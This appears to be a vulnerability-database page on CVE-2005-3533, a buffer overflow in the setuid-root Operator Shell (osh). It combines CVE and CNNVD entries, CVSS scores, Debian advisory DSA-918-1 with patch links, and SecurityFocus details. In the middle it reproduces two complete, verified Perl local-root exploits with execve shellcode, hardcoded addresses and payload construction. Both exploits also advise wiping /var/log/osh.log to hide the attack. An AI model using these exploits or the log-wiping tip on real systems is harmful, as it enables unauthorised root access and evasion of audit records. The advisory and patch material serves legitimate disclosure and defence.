CVE-2005-3533
CVSS7.2
发布时间 :2005-12-10 21:03:00
修订时间 :2011-03-07 21:26:43
NMCOEPS    

[原文]Buffer overflow in OSH before 1.7-15 allows local users to execute arbitrary code via a long current working directory and filename.


[CNNVD]Mike Neuman OSH命令行参数缓冲区溢出漏洞(CNNVD-200512-199)

        OSH 1.7-15之前版本中存在缓冲区溢出漏洞,本地用户可通过长当前工作目录和文件名执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3533
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3533
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-199
(官方数据源) CNNVD

- 其它链接及资源

http://www.debian.org/security/2005/dsa-918
(VENDOR_ADVISORY)  DEBIAN  DSA-918
http://secunia.com/advisories/17967
(VENDOR_ADVISORY)  SECUNIA  17967
http://www.vupen.com/english/advisories/2005/2812
(UNKNOWN)  VUPEN  ADV-2005-2812
http://www.securityfocus.com/bid/12455
(UNKNOWN)  BID  12455
http://www.osvdb.org/21576
(UNKNOWN)  OSVDB  21576

- 漏洞信息

Mike Neuman OSH命令行参数缓冲区溢出漏洞
高危 缓冲区溢出
2005-12-10 00:00:00 2005-12-12 00:00:00
本地  
        OSH 1.7-15之前版本中存在缓冲区溢出漏洞,本地用户可通过长当前工作目录和文件名执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://security.debian.org/pool/updates/main/o/osh/

- 漏洞信息 (788)

Operator Shell (osh) 1.7-12 Local Root Exploit (EDBID:788)
linux local
2005-02-05 Verified
0 Charles Stevenson
N/A [点击下载]
#!/usr/bin/perl 
# Tested and working uid=50(str0ke) gid=100(users) euid=0(root) groups=100(users)
# /str0ke
#######################################################################
#
# OSH 1.7 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem:
# The patch for the overflows published by Steve Kemp seems lacking. If the 
# following requirements are met we can overflow within the iopen() function: 
# osh must be invoked in non-interactive mode, argv[1] must be a valid command 
# according to /etc/osh.conf (e.g. osh help $(perl -e 'print "A"x8192')). The 
# offending code can be found at main.c:305
#
#    if (found) { /* It's a command, input is a string */
#      inputfp=(FILE *)1;
#      strcpy(inputstring, argv[1]); //XXX: command is copied into inputstring
#      for (i=3;i<=argc;i++) {
#	strcat(inputstring, " "); //XXX: it adds a space
#	strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible
#      }
#      strcat(inputstring, "\n"); /* So it's a command */
#
# So far so good. Looking at the declaration `static char inputstring[1024];'
# we can see that overflow is indeed possible. Here's the layout of memory:
#
#+------------------------------+
#|       Memory Layout          |
#+------------------------------+
#|0x804e340 <inputfp>           |
#|0x804e344 <prompt>            |
#|0x804e348 <pgetcptr>          |
#|0x804e34c <column.0>          |
#+-(can munge everything below)-+
#|0x804e360 <inputstring>       |
#|0x804e760 <NUMENTRY>          |
#|0x804e764 <host>              |
#|0x804e778 <AliasCounter>      |
#|0x804e780 <Table>             |
#|0x804f380 <pwh>               |
#|0x804f3a0 <FileList>          |
#|0x804f540 <AliasList>         |
#|0x804f860 <lg>                |
#|0x804f864 <pw>                |
#+------------------------------+
#
# Table stores a bunch of function pointers to all the routines whether
# internally implemented or called via execv. So I decided to try and
# overwrite the first entry with the address of my shellcode. There were
# several obstacles in between me and my rootshell though. First was a
# loop that performed strcmp's on AliasList items. Rather than fill that
# out I found that I could conveniently set AliasCounter to -1 and skip
# the loop entirely. Next I found that if argv[1] was a builtin command
# and NUMENTRY was a positive integer I could set Table[0].prog_name to match
# argv[1] and it'd call Table[0].handler (So I found "exit" in the executable
# itself thanks to `static struct hand Internal[]'). From main.c:1032
#
#  while (i<NUMENTRY)
#    if (strcmp(Table[++i].prog_name,argv[0])==0)
#      { found=1; break; }
#  ...
#  if (strcmp(Table[i].prog_name, "exit")==0) {
#    (*(Table[i].handler))(argc, argv);
#    return(-2);
#  }
#
# I also point Table[0].path to the NULL at the end of "exit" to prevent a
# crash. Finally there is a check @ line 256 in main.c which attempts to 
# prevent overflow that can be circumvented, my choice was the ampersand due
# to the way select statement works:
#
#             while ((c != EOF) && (c != ';') && (c != '&') && (c != '|')
#                    && (c != '<') && (c != '>') && (c != '\n') && (c != ' ')
#                    && (c != '\t'))
#               c = pgetc();
#             if (c != EOF)
#               pungetc(c,inputfp);
#             return TTOOLONG;
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to nemo, andrewg, arcanum, mercy, amnesia, banned-it, charbuff, 
# sloth, ktha, KF, akt0r, MRX, salvia, truthix
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
# 
# Coming out of retirement slowly but surely... damn I'm rusty... 
# who's got some WD40? BSS overflow... mmmhmmm...
# 
# ??/??/02 - First exploited OSH but though no one used it
#            and just recently realised it was in Debian
#            except they had patched the environment holes.
#            References: CAN-2003-0452, BugTraq IDs: 7992, 7993
# 02/03/05 - PoC causes logout() to record bogus username
# 02/05/05 - FF rootshell!! h0h0h0!
#
# I still find it hard to imagine that anyone would use osh
# The code is basically beyond repair. Sudo is better.... :-)
#
# Don't forget to clean /var/log/osh.log
#
#######################################################################
#               PRIVATE - DO NOT DISTRIBUTE - PRIVATE                 #
#######################################################################


#######################################################################
# NOTES:
#######################################################################
# Here's how to get the addresses in case it doesn't work on your box:
# sh-3.00$ xxd /usr/sbin/osh | grep exit | grep -v _exit
# 0005080: 6578 6974 006c 6f67 6f75 7400 7465 7374  exit.logout.test
#
# sh-3.00$ osh more /proc/self/maps | grep osh             
# 08048000-0804e000 r-xp 00000000 03:01 176445     /usr/sbin/osh
# ^--- add this together with 0x5080 to get the address of "exit"
#
# sh-3.00$ python -c "print hex(0x08048000 + 0x5080)"
# 0x804d080
#######################################################################
       
# "Osh is known to compile on: SunOS 4.1.3, Solaris 2.x, Unicos 6.x & 7.x 
# (XMP and YMP), and VAX Ultrix 4.2, SGI IRIX, HP/UX, and AIX 3.2.5."
#
# So send me patches and rets if you have these systems ;-)

$exit_addy = pack("l",
#0x0804d39c # Ubuntu Linux
            # - osh_1.7-12_i386.deb
0x0804d080 # Debian Linux stable/testing/unstable
            # - osh_1.7-11woody1_i386.deb
            # - osh_1.7-12_i386.deb
);
 
# Yanked from one of KF's exploits.. werd brotha ;-) I'm lazy..
$sc = "\x90" x (511-45) .

# 45 bytes by anthema. 0xff less 
"\x89\xe6" . # /* movl %esp, %esi */ 
"\x83\xc6\x30" . # /* addl $0x30, %esi */ 
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x06" . # /* movl %eax, (%esi) */ 
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */ 
"\x29\xc0" . # /* subl %eax, %eax */ 
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */ 
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */ 
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */ 
"\xb0\x0b" . # /* movb $0x0b, %al */ 
"\x87\xf3" . # /* xchgl %esi, %ebx */ 
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */ 
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */ 
"\xcd\x80"; # /* int $0x80 */ 

print "\n\nOperator Shell (osh) 1.7-12 root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <core\@bokeoa.com>\n\n";

# Clear out the environment. 
foreach $key (keys %ENV) { delete $ENV{$key}; } 

# Setup simple env so ret is easier to guess
$ENV{"HELLCODE"} = "$sc"; 
$ENV{"TERM"} = "linux"; 
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin"; 

# Create the payload...
$egg = "&"x1019 .             # pad up to NUMENTRY
       pack("l",0x01d5c001) . # overwrite with a positive int
       "&"x20 .               # ampersand gets pas TTOOLONG
       pack("l",0xffffffff) . # AliasCounter = -1 skips for loop
       "core" .               # shameless self-promotion
       $exit_addy .           # address of "exit"
       pack("l",0xbffffe30) . # address of shellcode in ENV
       $exit_addy;            # address of a NULL terminated string
system("/usr/sbin/osh exit '$egg'"); 

# EOF

# milw0rm.com [2005-02-05]
		

- 漏洞信息 (1154)

Operator Shell (osh) 1.7-13 Local Root Exploit (EDBID:1154)
linux local
2005-08-16 Verified
0 Charles Stevenson
N/A [点击下载]
# You must be group(operator) for permissions /str0ke

#!/usr/bin/perl 
#######################################################################
#
# OSH 1.7 Exploit #2 (Gonna bang away at this until it's removed ;-)
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem (discovered by Solar Eclipse):
#
# handlers.c:364
#
#    char temp3[255];
#
#    if (*file!='/') {
#      getcwd(temp3, MAXPATHLEN);
#      strcat(temp3,"/");
#      strcat(temp3,file);
#    }
#
#    ...
#
#    "If the length of the current working directory plus the length of the
#    file name is longer than 255 bytes, there will be a buffer overflow in
#    temp3[]. The size limit of the current direcory is MAXPATHLEN, which is
#    defined as 1024 on modern Linux systems. The limit for the file name is
#    MAXFNAME, defined as 32 in struct.h:116."
#
#    "This code is in the writable() function, which is called by the handlers
#    for built-in cp, vi, rm and test commands, as well as the redirect
#    function." -- Solar Eclipse
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, cnn, arcanum, mercy, amnesia, 
# banned-it, capsyl, sloth, redsand, KF, akt0r, MRX, salvia, truthix, ...
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
# 
# 08/12/05 - PoC causes segv with 0x41414141 eip
# 08/16/05 - PoC _exit(0) ... need shellcode to get past char filters
# 08/16/04 - Later that night... or morning... ROOTSHELL!! Woot! PTP joint
#            effort on the shellcode.
#
# I still find it hard to imagine that anyone would use osh
# The code is basically beyond repair. Sudo is better.... :-)
#
# Don't forget to clean /var/log/osh.log
#
#######################################################################
#               PRIVATE - DO NOT DISTRIBUTE - PRIVATE                 #
#######################################################################


# Yanked from one of KF's exploits.. werd brotha ;-) I'm lazy..
$sc = "\x90" x (511-45) .

# 45 bytes by anthema. 0xff less 
"\x89\xe6" . # /* movl %esp, %esi */ 
"\x83\xc6\x30" . # /* addl $0x30, %esi */ 
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x06" . # /* movl %eax, (%esi) */ 
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */ 
"\x40" . # /* incl %eax */ 
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */ 
"\x29\xc0" . # /* subl %eax, %eax */ 
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */ 
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */ 
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */ 
"\xb0\x0b" . # /* movb $0x0b, %al */ 
"\x87\xf3" . # /* xchgl %esi, %ebx */ 
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */ 
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */ 
"\xcd\x80"; # /* int $0x80 */ 

# 0day shellcodez....
#
# Nemo's idea... PTP #social collaborative effort.  Searches the stack
# until it finds a nopsled and executes the shellcode
$ptp_sc = 

"\x61\x54\x59\x81\x39\x90\x90" .
"\x90\x90\x74\x02\xeb\xf3\x54" .
"\xc3";

# _exit(0);
#"\x31\xc0\x31\xdb\x40\xcd\x80";

print "\nOperator Shell (osh) 1.7-13 root exploit\n";
print "----------------------------------------------\n";
print "Written by Charles Stevenson <core\@bokeoa.com>\n";
print "This exploit would not have been near as fun without\n";
print "the pulltheplug.org community.\n\n";

# Clear out the environment. 
foreach $key (keys %ENV) { delete $ENV{$key}; } 

# Setup simple env
$ENV{"HELLCODE"} = "$sc"; 
$ENV{"TERM"} = "linux"; 
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin"; 

chdir("/tmp/");

# Create the payload...
mkdir("A"x255,0755);
chdir("A"x255);
mkdir("B"x255,0755);
chdir("B"x255);
mkdir("C"x118,0755);
chdir("C"x118);

#XXX: Return address can't have: 0x09 0x0a 0x20 0x22 0x24 0x26
# (what made this fun)           0x3b 0x3c 0x3e 0x7c 0xff

#$file = pack("l",0xdeadbeef) . "core";
#$file = pack("l",0x804e36c) . "core";
$file = pack("l",0x804e36c) . $ptp_sc; # inputfp + 12

system("touch '$file'");
system("/usr/sbin/osh test -w '$file'");

print("cleaning up /tmp\n");
chdir("../../../");
system("rm -rf AAAA*/");

# EOF

# milw0rm.com [2005-08-16]
		

- 漏洞信息 (F42256)

Debian Linux Security Advisory 918-1 (PacketStormID:F42256)
2005-12-14 00:00:00
Debian  security.debian.org
advisory,shell
linux,debian
CVE-2005-3347,CVE-2005-3533
[点击下载]

Debian Security Advisory DSA 918-1 - Several security related problems have been discovered in osh, the operator's shell for executing defined programs in a privileged environment.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 918-1                     security@debian.org
http://www.debian.org/security/                             Martin Schulze
December 9th, 2005                      http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : osh
Vulnerability  : programming error
Problem type   : local
Debian-specific: no
CVE ID         : CVE-2005-3347 CVE-2005-3533
Debian Bug     : 338312

Several security related problems have been discovered in osh, the
operator's shell for executing defined programs in a privileged
environment.  The Common Vulnerabilities and Exposures project
identifies the following vulnerabilities:

CVE-2005-3347

    Charles Stevenson discovered a bug in the substitution of
    variables that allows a local attacker to open a root shell.

CVE-2005-3533

    Solar Eclipse discovered a buffer overflow caused by the current
    working directory plus a filename that could be used to execute
    arbitrary code and e.g. open a root shell.

For the old stable distribution (woody) these problems have been fixed in
version 1.7-11woody2.

For the stable distribution (sarge) these problems have been fixed in
version 1.7-13sarge1.

For the unstable distribution (sid) these problems have been fixed in
version 1.7-15, however, the package has been removed entirely.

We recommend that you upgrade your osh package.


Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 3.0 alias woody
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2.dsc
      Size/MD5 checksum:      565 6341a0b49e77066cf3645e3abfe98653
    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2.diff.gz
      Size/MD5 checksum:    12578 7276b78763b4033448f2903d0cf64e96
    http://security.debian.org/pool/updates/main/o/osh/osh_1.7.orig.tar.gz
      Size/MD5 checksum:   150241 0196364c5ea0afab1c1d3163c40cb1a8

  Alpha architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_alpha.deb
      Size/MD5 checksum:    32426 c41a8e928125f048778eeaecda51c58a

  ARM architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_arm.deb
      Size/MD5 checksum:    27402 fa9fdba7af436e4b7a1ac1d99657e9ce

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_i386.deb
      Size/MD5 checksum:    27084 47d99052863f6ac5ad44c794e399bc43

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_ia64.deb
      Size/MD5 checksum:    36942 b0b3631235a76fff6841ab7a7c1ce1d6

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_hppa.deb
      Size/MD5 checksum:    29366 7684c38b177294c6f8c647e4ad5c7ce8

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_m68k.deb
      Size/MD5 checksum:    26338 cf9c3511eb73cfdf5861966130354246

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_mips.deb
      Size/MD5 checksum:    29510 d443160b8e72c36d30ce3f7fa5ae6178

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_mipsel.deb
      Size/MD5 checksum:    29468 745f79348790bda9accb5250a40520f1

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_powerpc.deb
      Size/MD5 checksum:    28816 7f387b8bc51460e94c1e0ca562906e2f

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_s390.deb
      Size/MD5 checksum:    28294 60e0010eb4e3fe1007e1c4c3bf082c44

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-11woody2_sparc.deb
      Size/MD5 checksum:    30894 60969c49d4be186b8000af6532393335


Debian GNU/Linux 3.1 alias sarge
- --------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1.dsc
      Size/MD5 checksum:      565 71ea00a2e13ea67b337d450a77cea49a
    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1.diff.gz
      Size/MD5 checksum:    12818 5df9ac8705fd85dc8ad07a74a470ba77
    http://security.debian.org/pool/updates/main/o/osh/osh_1.7.orig.tar.gz
      Size/MD5 checksum:   150241 0196364c5ea0afab1c1d3163c40cb1a8

  Alpha architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_alpha.deb
      Size/MD5 checksum:    31468 767b6efad96e1e49f584d36eb502c5cc

  AMD64 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_amd64.deb
      Size/MD5 checksum:    29360 496db05c70e81a7314382389826bb2a1

  ARM architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_arm.deb
      Size/MD5 checksum:    27712 578e45cadbb18d9ccc137494a3d1938d

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_i386.deb
      Size/MD5 checksum:    27846 3be55b13083630d6fc4fbc4892f4be99

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_ia64.deb
      Size/MD5 checksum:    35320 8849f5286f65d67ccfa2a25e4007f39f

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_hppa.deb
      Size/MD5 checksum:    29650 1fcfede379bc4ee5474602ed8decd4da

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_m68k.deb
      Size/MD5 checksum:    27094 d8af0990d6017e61cb63b025f77930c6

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_mips.deb
      Size/MD5 checksum:    29824 b80543697d548c0ef3cf729685db249b

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_mipsel.deb
      Size/MD5 checksum:    29838 2c18ef4a3d1243fd92f0d196b7a9d8c9

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_powerpc.deb
      Size/MD5 checksum:    30432 71a1b2e26d896852efd7e29be68f1048

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_s390.deb
      Size/MD5 checksum:    29526 c20605b6cef6b680ab4deade9651cf16

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/o/osh/osh_1.7-13sarge1_sparc.deb
      Size/MD5 checksum:    28032 ad94a0fc87d2f681ef2fcbf536269f71


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (GNU/Linux)

iD8DBQFDmRxhW5ql+IAeqTIRApnQAJ92l9sfCMIuTl2++lo6bdK3AP7kmACgjBLo
qOhGIg+sa6o/82/LRQQRMHA=
=VyE2
-----END PGP SIGNATURE-----

    

- 漏洞信息

13586
Operator Shell (osh) iopen() Function Local Overflow
Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-02-05 Unknow
2005-02-05 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Mike Neuman OSH Command Line Argument Buffer Overflow Vulnerability
Boundary Condition Error 12455
No Yes
2005-02-05 12:00:00 2006-04-25 11:06:00
Discovery of this vulnerability is credited to Charles Stevenson <core@bokeoa.com>

- 受影响的程序版本

osh osh 1.7
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0

- 漏洞讨论

A buffer overflow vulnerability is reported for osh when processing superfluous command line arguments. The problem likely occurs due to insufficient bounds checking when copying command line argument data into an internal memory buffer.

This buffer overflow may be exploited to execute arbitrary code with superuser privileges.

- 漏洞利用

The following exploits are available:

- 解决方案

Debian GNU/Linux has released advisory DSA 918-1, along with fixes to address various issues in OSH. Please see the referenced advisory for further information.

--
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


osh osh 1.7

- 相关参考

 

 

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